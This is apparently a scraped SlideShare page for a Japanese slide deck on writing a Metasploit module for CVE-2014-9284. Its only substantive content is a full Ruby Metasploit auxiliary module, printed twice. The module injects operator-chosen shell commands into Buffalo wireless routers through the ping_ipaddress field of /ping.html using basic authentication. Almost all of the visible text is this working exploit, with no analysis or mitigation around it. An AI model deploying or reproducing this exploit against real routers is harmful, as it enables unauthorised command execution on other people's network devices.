Downloaded 17 times
![require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Buffalo Wireless Router OS Command Injection', 'Version' => '$Revision:$',
'Description' => 'Buffalo Wireless Router OS Command Injection.BHR-4GRV2 Ver.1.04 > ,WEX-300 Ver.1.60 > ,WHR-1166DHP Ver.1.60 > ,WHR-300HP2 Ver.1.60
> ,WHR-600D Ver.1.60 > ,WMR-300 Ver.1.60 > ,WSR-600DHP Ver.1.60 >.',
‘Author’ => [‘Satoshi Ogawa’],‘License’ => MSF_LICENSE,‘References’ =>[ [ 'CVE', '2014-9284'],[ 'URL', 'https://jvn.jp/jp/JVN50447904/' ], ] )
register_options(
[ Opt::RHOST('',[true,'router ip','']), OptString.new('USERNAME', [ true, 'basic authentication username', 'admin']),
OptString.new('PASSWORD', [ true, 'basic authentication password', '']), OptString.new('CMD', [ true, 'Command', 'sleep 10']),
OptString.new('RES_FLG', [ true, 'yes:Display Response no:No Display', 'no']), ], self.class)
end
def run
begin
rhost = datastore['RHOST']
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cmd = datastore['CMD']
res_flg = datastore['RES_FLG']
user_pass = Rex::Text.encode_base64(user + ":" + pass)
decode = Rex::Text.decode_base64(user_pass)
postrequest = "ping_ipaddress=1|#{cmd}"
starttime = Time.now
res = send_request_cgi({ 'uri' => "/ping.html", 'version' => "1.1", 'method' => 'POST', 'data' => postrequest,'headers' => {
'Authorization' => "Basic #{user_pass}", 'Proxy-Connection' => "Keep-Alive",} })
endtime = Time.now
interval = endtime - starttime
print_status("ResponseTime: #{interval} sec")
if res_flg == "yes" then
print_status("#{res}")
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
puts e.message
end
end](https://image.slidesharecdn.com/metsploit-150813164714-lva1-app6891/85/Metsploit-CVE-2014-9284-9-320.jpg?cb=1439484466)
Metsploitのシグネチャを作ってみた。(CVE-2014-9284)
- 1.
- 2.
- 4.
- 5.
- 6.
- 7.
- 8.
- 9. require 'msf/core' class Metasploit3< Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize super( 'Name' => 'Buffalo Wireless Router OS Command Injection', 'Version' => '$Revision:$', 'Description' => 'Buffalo Wireless Router OS Command Injection.BHR-4GRV2 Ver.1.04 > ,WEX-300 Ver.1.60 > ,WHR-1166DHP Ver.1.60 > ,WHR-300HP2 Ver.1.60 > ,WHR-600D Ver.1.60 > ,WMR-300 Ver.1.60 > ,WSR-600DHP Ver.1.60 >.', ‘Author’ => [‘Satoshi Ogawa’],‘License’ => MSF_LICENSE,‘References’ =>[ [ 'CVE', '2014-9284'],[ 'URL', 'https://jvn.jp/jp/JVN50447904/' ], ] ) register_options( [ Opt::RHOST('',[true,'router ip','']), OptString.new('USERNAME', [ true, 'basic authentication username', 'admin']), OptString.new('PASSWORD', [ true, 'basic authentication password', '']), OptString.new('CMD', [ true, 'Command', 'sleep 10']), OptString.new('RES_FLG', [ true, 'yes:Display Response no:No Display', 'no']), ], self.class) end def run begin rhost = datastore['RHOST'] user = datastore['USERNAME'] pass = datastore['PASSWORD'] cmd = datastore['CMD'] res_flg = datastore['RES_FLG'] user_pass = Rex::Text.encode_base64(user + ":" + pass) decode = Rex::Text.decode_base64(user_pass) postrequest = "ping_ipaddress=1|#{cmd}" starttime = Time.now res = send_request_cgi({ 'uri' => "/ping.html", 'version' => "1.1", 'method' => 'POST', 'data' => postrequest,'headers' => { 'Authorization' => "Basic #{user_pass}", 'Proxy-Connection' => "Keep-Alive",} }) endtime = Time.now interval = endtime - starttime print_status("ResponseTime: #{interval} sec") if res_flg == "yes" then print_status("#{res}") end end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE =>e puts e.message end end
- 10.
- 11.
- 12.
- 13.
- 14.
- 15.
- 16.